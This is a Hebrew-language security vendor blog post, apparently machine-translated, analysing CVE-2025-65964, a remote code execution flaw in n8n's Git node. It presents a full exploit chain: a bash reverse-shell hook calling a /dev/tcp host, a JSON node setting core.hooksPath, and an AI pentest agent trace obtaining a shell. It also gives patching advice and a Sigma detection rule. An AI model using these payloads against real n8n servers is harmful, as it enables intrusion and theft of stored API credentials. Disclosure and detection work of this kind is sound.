כותרת Penligent

CVE-2025-65964: שימוש ב-Git Hooks ב-n8n כנשק לביצוע RCE קריטי בתשתית AI

בתחום האבטחה של בינה מלאכותית, המתפתח במהירות, התעשייה מתמקדת לעתים קרובות בהתקפות עוינות נגד מודלים לשוניים גדולים (כגון הזרקת פקודות), תוך התעלמות מה"שלד" המתפורר שמחזיק את הסוכנים הללו יחד – שכבת התזמור.

ב-8 בדצמבר 2025, קהילת האבטחה חשפה CVE-2025-65964, פגיעות קריטית בהפעלת קוד מרחוק (RCE) ב- n8n, כלי האוטומציה של זרימת העבודה בקוד פתוח הפופולרי ביותר בעולם. עם ציון CVSS v4 של 9.4 (קריטי), פגם זה אינו סתם באג נוסף באינטרנט. הוא מייצג שימוש מתוחכם לרעה בלוגיקת התצורה הבסיסית של Git, תוך ניצול פעולות לגיטימיות של בקרת גרסאות כדי לפגוע במערכת העצבים המרכזית של מערכי AI מודרניים.

מאמר זה חורג מההמלצות הכלליות. מנקודת מבט קיצונית של צוות אדום, ננתח את כל שרשרת ניצול, הגורם השורשי, ומדוע זו "התקפת שרשרת אספקה סוכנתית" מובהקת.

ההקשר: כאשר Git הופך לוקטור

n8n הפך לאבן יסוד ביישומים מודרניים של בינה מלאכותית, ומשמש באופן נרחב לחיבור בין LLM (כמו GPT-5), מסדי נתונים וקטוריים (כמו Pinecone) ו-API פנימיים. כדי לתמוך ב-CI/CD ובבקרת גרסאות עבור זרימות עבודה, n8n מגיע עם מובנה רב עוצמה. צומת Git.

הליבה של CVE-2025-65964 טמון בכישלון של n8n Git Node לטהר מפתחות תצורה במהלך addConfig פעולה. התוקפים מנצלים את השמטה זו כדי לעקוף את core.hooksPath תצורה, תוך חטיפת זרימת הביצוע של הקובץ הבינארי Git.

CVE-2025-65964: שימוש ב-Git Hooks ב-n8n כנשק לביצוע RCE קריטי בתשתית AI

הבנה core.hooksPath

בארכיטקטורת Git סטנדרטית, hooks (סקריפטים המבוצעים על אירועים כמו להתחייב, קופה, למזג) מאוחסנים במאגר .git/hooks . מטעמי אבטחה, Git אינו משכפל את ה-hooks הללו בעת שיבוט מאגר.

עם זאת, Git 2.9 הציג את אפשרות התצורה core.hooksPath, המאפשרת למשתמשים להגדיר נתיב מותאם אישית עבור hooks בכל מקום במערכת הקבצים.

אם תוקף יכול לשלוט במפתח תצורה זה ולהפנות אותו לספרייה שיש לו גישה לכתיבה אליה (למשל, /tmp/ או ספריית העלאת קבצים), בפעם הבאה ש-n8n יבצע פעולת Git כלשהי, Git יפרוץ את ארגז החול שלו ויבצע את הסקריפט של התוקף.

שרשרת הניצול: קורס אמן בבאגים לוגיים

ניצול מוצלח דורש יותר ממטען בודד; הוא דורש "תזמור לוגי". להלן תיאור שלב אחר שלב של השחזור של ההתקפה ממעבדת המחקר שלנו.

שלב 1: סיור וגישה

התוקף משיג תחילה גישה לעורך זרימת העבודה n8n. ברשתות פנימיות רבות של חברות, n8n מוטמע על ידי מהנדסי AI ומדעני נתונים, שלעתים קרובות אינם מפעילים אימות קפדני או משתמשים באישורי כניסה חלשים המוגדרים כברירת מחדל.

אישור יעד: 0.123.1 <= גרסת n8n < 1.119.2.

שלב 2: הכנת המטען

מאז core.hooksPath מצביע על ספרייה, התוקף חייב תחילה לשתול סקריפט הפעלה עם שם הוק Git ספציפי (לדוגמה, לאחר התשלום) במיקום שניתן לכתוב בו.

שימוש ב-n8n "כתוב קובץ בינארי" צומת (או צומת "Execute Command" אם אינו מוגן), התוקף משחרר סקריפט זדוני.

דוגמה לקוד זדוני (/tmp/pwn/post-checkout):

באש

`#!/bin/bash

מטען מעטפת הפוכה

מבוצע בשקט לאחר פעולת Git checkout

/bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1`

שלב 3: הזרקת תצורה

זהו נקודת ההדק. התוקף יוצר צומת Git ובוחר בפעולה "הוסף תצורה". בדרך כלל, המשתמשים מגדירים שם המשתמש או user.email. עם זאת, על ידי מניפולציה ישירה של פרמטרי JSON, התוקף מזריק את המפתח המסוכן.

מטען ה-JSON של הניצול:

JSON

{ "parameters": { "operation": "addConfig", "configName": "core.hooksPath", "configValue": "/tmp/pwn", "repositoryPath": "/home/node/.n8n/git/workflow_repo" }, "name": "Weaponized_Git_Config", "type": "n8n-nodes-base.git", "typeVersion": 1, "position": [460, 300] }

כאשר צומת זה מבוצע, התהליך n8n הבסיסי פועל:

git config –file /home/node/.n8n/git/workflow_repo/.git/config core.hooksPath /tmp/pwn

שלב 4: ההדק

לאחר שההגדרה נקבעת, היא נשמרת. התוקף פשוט מוסיף עוד צומת Git לתהליך העבודה כדי לבצע פעולה תמימה, כגון git checkout master או git status.

רצף: תהליך Git מתחיל -> קורא core.hooksPath -> טוען /tmp/pwn/post-checkout -> RCE מבוצע.

CVE-2025-65964: שימוש ב-Git Hooks ב-n8n כנשק לביצוע RCE קריטי בתשתית AI

מדוע זהו סיוט עבור תשתית ה-AI

עבור מהנדסי אבטחה, הבנת השפעה הוא קריטי יותר מהבאג עצמו. בעידן הבינה המלאכותית, שרת n8n אינו רק שירות אינטרנט; הוא כספת מפתחות.

  1. זליגת אישורים: מסד הנתונים n8n מכיל מפתחות API מוצפנים עבור OpenAI, AWS Bedrock, Snowflake ו-Slack. באמצעות גישה ל-shell, תוקף יכול לפענח אישורים אלה (הנמצאים לרוב ב-~/.n8n/database.sqlite), מה שמוביל לפגיעה מוחלטת בסביבת הענן הארגונית.
  2. הרעלת RAG: תוקפים יכולים להשתלט על זרימות העבודה הכותבות למסדי נתונים וקטוריים. על ידי הזרקת קטעי ידע זדוניים, הם יכולים לתפעל את התפוקה של מערכות RAG פנימיות של חברות, ובכך להקל על ביצוע הנדסה חברתית מעמיקה או קמפיינים של דיסאינפורמציה.
  3. סיכוני בריחה מהקונטיינר: פריסות n8n רבות פועלות עם הרשאות מוגבהות (או –privileged) כדי לאפשר לספריות Python כמו LangChain לתקשר עם המערכת. במקרים כאלה, RCE בתוך הקונטיינר שווה מבחינה פונקציונלית ל-Root במארח.

מחקר המקרה של Penligent: סוכן מול סוכן

ב Penligent.ai, אנו מסווגים זאת כ"פגם לוגי". סורקי DAST מסורתיים אינם מצליחים לזהות את CVE-2025-65964 מכיוון ש:

  • סורקים אינם יודעים כיצד "לבנות זרימת עבודה".
  • סורקים אינם יכולים להבין את ההיגיון הזמני של "כתוב קובץ תחילה, קבע את תצורת Git לאחר מכן".

עם זאת, סוכני בדיקת החדירה האוטומטיים של Penligent מפגינים יכולות חשיבה המדמות תוקפים אנושיים מתקדמים.

[עקבות פנימיות של סוכן Penligent – 2025-12-09 14:02:33]

תצפית: יציאה 5678 פתוחה. זוהתה כ-n8n. עקיפת אישורים חלשים הצליחה.

הנימוק: זוהתה יכולת Git Node. מאגר הידע מצביע על סיכון להזרקת Git Config. ביצוע פקודות ישיר נחסם. האם ניתן לבצע את ההזרקה באמצעות מניפולציה של הסביבה או התצורה?

תוכנית פעולה:

  1. ניסיון הפעל פקודה כדי לאמת יציאה (נכשל, הצומת מושבת).
  2. אסטרטגיית ציר: חיפוש אחר פרימיטיבים לכתיבת קבצים. כתוב קובץ בינארי הצומת זמין.
  3. בניית שרשרת ניצול: כתיבת מעטפת הפוכה ל-/tmp/.git-hooks -> הזרקת core.hooksPath באמצעות Git Node -> הפעלת Git Log.Execution: הפעלת זרימת עבודה עם מזהה pwn_test_01.תוצאה: התקבל קריאת חוזרת של מעטפת הפוכה. הפגיעות אומתה.

זהו ערך הליבה המוצע של Penligent: שימוש ב-AI כדי להילחם ב-AI. הסוכנים שלנו לא רק משווים טביעות אצבעות; הם מבינים את ההיגיון העסקי ומדמים טכניקות ריגול מתוחכמות של יריבים ברמה גבוהה בתוך סביבת בדיקה בטוחה.

n8n
CVE-2025-65964 PoC

הגנה וזיהוי

תיקון

  • תקן מיד: שדרג את n8n לגרסה 1.119.2 או מאוחר יותר. הגרסה החדשה מיישמת רשימת אישור קפדנית עבור addConfig מפתחות.
  • התקשות: השתמש ב N8N_NODES_EXCLUDE=["n8n-nodes-base.git"] משתנה סביבה בהגדרת ה-Docker שלך כדי להשבית לחלוטין את צומת ה-Git אם הוא אינו חיוני למשימה.

ציד איומים

אם אתה חושד בהפרה, בדוק את .git/config קבצים בשרתים n8n שלך.

דוגמה לכלל זיהוי סיגמא:

YAML

כותרת: שינוי חשוד בתצורת Git באמצעות n8n סטטוס: ניסיוני מקור יומן: קטגוריה: process_creation מוצר: linux זיהוי: בחירה: ParentImage|endswith: '/node' Image|endswith: '/git' CommandLine|contains: - 'config' - 'core.hooksPath' תנאי: בחירה רמה: גבוהה

כל פקודת Git שנוצרה על ידי תהליך Node.js המנסה לשנות core.hooksPath יש להתייחס אליו כאל אינדיקטור אמין ביותר לפריצה (IoC).

סיכום

CVE-2025-65964 מוכיח שוב כי ככל שפיתוח התוכנה עובר לארכיטקטורות "Agent Native", הגבולות המסורתיים מיטשטשים. הגמישות של הכלים שלנו היא לעתים קרובות האויב הגדול ביותר של האבטחה.

עבור מהנדס האבטחה המנוסה, שדה הקרב עבר מהחזית האינטרנטית אל האחורי של התזמור. אל תסתפקו בצפייה בבקשות HTTP; צפו בזרימות העבודה הפועלות בשקט ברקע. צפו בפעולות Git האוטומטיות. זהו קו החזית של שנת 2025.

אם לצוות שלכם אין את כוח האדם הדרוש כדי לאמת באופן ידני סיכונים לוגיים מורכבים שכאלה, ייתכן שהגיע הזמן להביא Penligent—צוות אדום דיגיטלי חכם השומר על הקו בעידן ה-AI.

קישורים פנימיים / הפניות:

שתף את הפוסט:
פוסטים קשורים
he_ILHebrew